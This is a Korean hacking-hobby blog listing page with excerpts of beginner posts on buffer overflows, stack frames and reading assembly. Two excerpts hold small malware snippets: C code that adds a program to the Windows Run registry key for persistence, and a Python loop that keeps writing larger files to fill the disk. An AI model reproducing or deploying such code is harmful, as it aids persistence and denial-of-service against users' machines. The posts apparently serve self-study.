전체 글 썸네일형 리스트형 [NOOBHACK] visual studio 권한 설정 파일이나 레지스터를 다루는 코드일 경우 실행이 제대로 안되는 경우가 있다 다음 설정을 참고하자 프로젝트>속성>링커>매니페스트 파일 UAC 실행 수준을 이와 같이 만들어 주면 된다 더보기 [NOOBHACK] 레지스터 시작 프로그램 등록 C언어 진지하게 바이러스와 악성코드를 만들어 보기 위해 실행 하면 바이러스가 레지스터에 시작 프로그램에 등록 되도록 코드를 짰다 HKEY hKey; // 핸들 키 LPCWSTR lpPosition = L"프로그램 파일 경로"; long error; // 에러 확인 error = RegOpenKeyEx(HKEY_LOCAL_MACHINE, TEXT("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"), 0L, KEY_WRITE, &hKey); // 레지스터에 있는 키 열기 error = RegSetValueEx(hKey, TEXT("app"), 0, REG_SZ, (BYTE*)lpPosition, 1000); RegCloseKey(hKey); // 리턴받은 핸들키에 Hell.. 더보기 [NOOBHACK] 메모장 테러 악성코드 오랜만에 글을 쓴다 이유 없이 나태해 져서 그런거다 아무튼 내가 악성코드에 입문했다 그래서 여러가지 만져서 간단한 악성코드 하나 만들었다 함부로 실행하면 피곤해 지니 조심하자 c=1 memo="1" waring=input("실행 하시겠습니까?") while True: f=open(str(c),"w", encoding="utf8") f.write(memo) f.close c+=1 memo+=str(c) memo+=memo 더보기 [NOOBHACK] 버퍼 오버플로우 BOF(buffer overflow) 이제 생각하다 보니까 Canary 보호 기법을 알려줘놓고 정작 그 전에 알려줘야 했던 버퍼 오버플로우를 안알려줬다 줄여서 BOF라 하겠다 BOF(buffer overflow)란 일종의 버그면서 이를 이용한 공격 방법이 된다 프로그램이 실행될 때 입력받는 값이 버퍼를 채우다 못해 다른 버퍼를 침범해 버리는 현상을 말한다 버퍼에 대해 잘 모르는 분을 위해 아래를 먼저 보고 오는 것을 추천한다 https://noobhack.tistory.com/28 [NOOBHACK] BOF란 BOF란 우리가 컴퓨터를 사용할때 여러 데이터를 임시적으로저장하는 물리적 공간을 말한다 예시로는 우체통 정도가 있다 우체통은 버퍼고 우체통 안에 있는 우편물(데이터)은 결국 우체국(컴퓨 noobhack.tistory.com 버퍼가 가득.. 더보기 [NOOBHACK] sfp,ret의 대한 설명 포너블을 처음 접하신 분이라면 스택의 구조가 buffer+sfp+ret으로 이루어 졌다는 것 쯤은 알 것이다 buffer란 그냥 데이터가 저장되는 공간이라는 것을 생각하면 되고 sfp와 ret를 모르는 분들을 위해 설명하겠다 sfp(스택 베이스 값) sfp란 4바이트의 크기를 가지고 있는 데이터다 이것이 어느 용도에 쓰이냐면 스택 주소값을 계산 할 때 현재 스택값의 기준을 잡을 때 필요한 프레임 포인터 값을 저장한다 즉, 데이터의 주소를 가리키는 데이터라고 생각하면 된다, 어셈블리어를 공부할때 함수를 시작할 때 마다 항상 push ebp 라는 명령어를 한번 씩은 봤을 텐데 이것이 바로 sfp의 값을 정하는 명령어라고 생각하면 된다 ret ret는 return의 약자로 4바이트의 크기를 지니고 있으며 re.. 더보기 [NOOBHACK] BOF란 BOF란 우리가 컴퓨터를 사용할때 여러 데이터를 임시적으로저장하는 물리적 공간을 말한다 예시로는 우체통 정도가 있다 우체통은 버퍼고 우체통 안에 있는 우편물(데이터)은 결국 우체국(컴퓨터)으로 옮겨진다 우리는 어떤 방식으로 우편물이 옮겨지는지 신경을 쓸 필요가 없다 우편물은 알아서 집주소(ret)가 있는 곳으로 옮겨질 것이고, 우리는 그저 우편물을 우체통 안에만 넣으면 되기 때문이다 다른 실제 예시로는 키보드가 있다 우리가 키보드를 입력하면 키보드에 입력 된 값은 버퍼로 이동되어 저장하고 프로세스가 필요할 때 마다 꺼내 쓰게 되는 것 이다 즉 데이터의 이동은 키보드(입력) -> 버퍼 -> 프로세스 이렇게 된다 더보기 [NOOBHACK] 어셈블리어 읽는 방법 이번에 또 어셈블리어 읽는 방법으로 돌아왔다 어셈블리어는 읽고 이해하는 것이 중요하다 암튼 많이 읽어보면 술술 익히게 될 것이다 이 블로그에 처음 접하고 어셈블리어를 제대로 알고 싶다면 위 링크 부터 차례로 보고 오는 것을 추천한다 https://noobhack.tistory.com/22 [NOOBHACK] 어셈블리어란 해킹을 배운다면 정말정말 중요한 어셈블리어에 대해 배워보자 일단 어셈블리어란 프로그래밍 언어인데 이게 좀 저급 언어다 언어로서 질이 낮다는게 아니라 프로그래밍 언어 중 고급 언어와 noobhack.tistory.com https://noobhack.tistory.com/23 [NOOBHACK] 어셈블리어 구동 방식과 명령어 어셈블리어를 입문하는 사람들을 위해 친절하고 링크도 걸어주고 다 .. 더보기 [NOOBHACK] 어셈블리어 읽는 방법 자 오늘은 어셈블리어를 쉽사리 못 읽는 초보들을 위해 어셈블리어를 쉽게 읽는 방법을 알려주겠다 그전에 내 게시물을 제대로 안 본 사람들이 있다면 전 게시물을 보고 오시길 바랍니다 https://noobhack.tistory.com/25 [NOOBHACK] C언어를 어셈블리어로 변환하기 자 어셈블리어는 겁나 어렵고 읽기도 버겁다고 했습니다 하지만 포너블이나 해킹을 위해서는 꼭 필요한 요소로 작용하는데요 그런 어셈블리어를 읽는 방법을 알려주겠습니다 먼저 코드부터 보 noobhack.tistory.com 먼저 어셈블리어를 C언어 처럼 읽는건 짧은 코드에 한 해서만 그렇지 긴 코드는 약간의 노하우가 필요하다 어셈블리어 코드는 위에 링크에 있다 그 코드를 어셈블리어로 읽을 것이다 여기서 중요한 요령은 어셈블리어의.. 더보기 이전 1 ··· 3 4 5 6 7 8 9 다음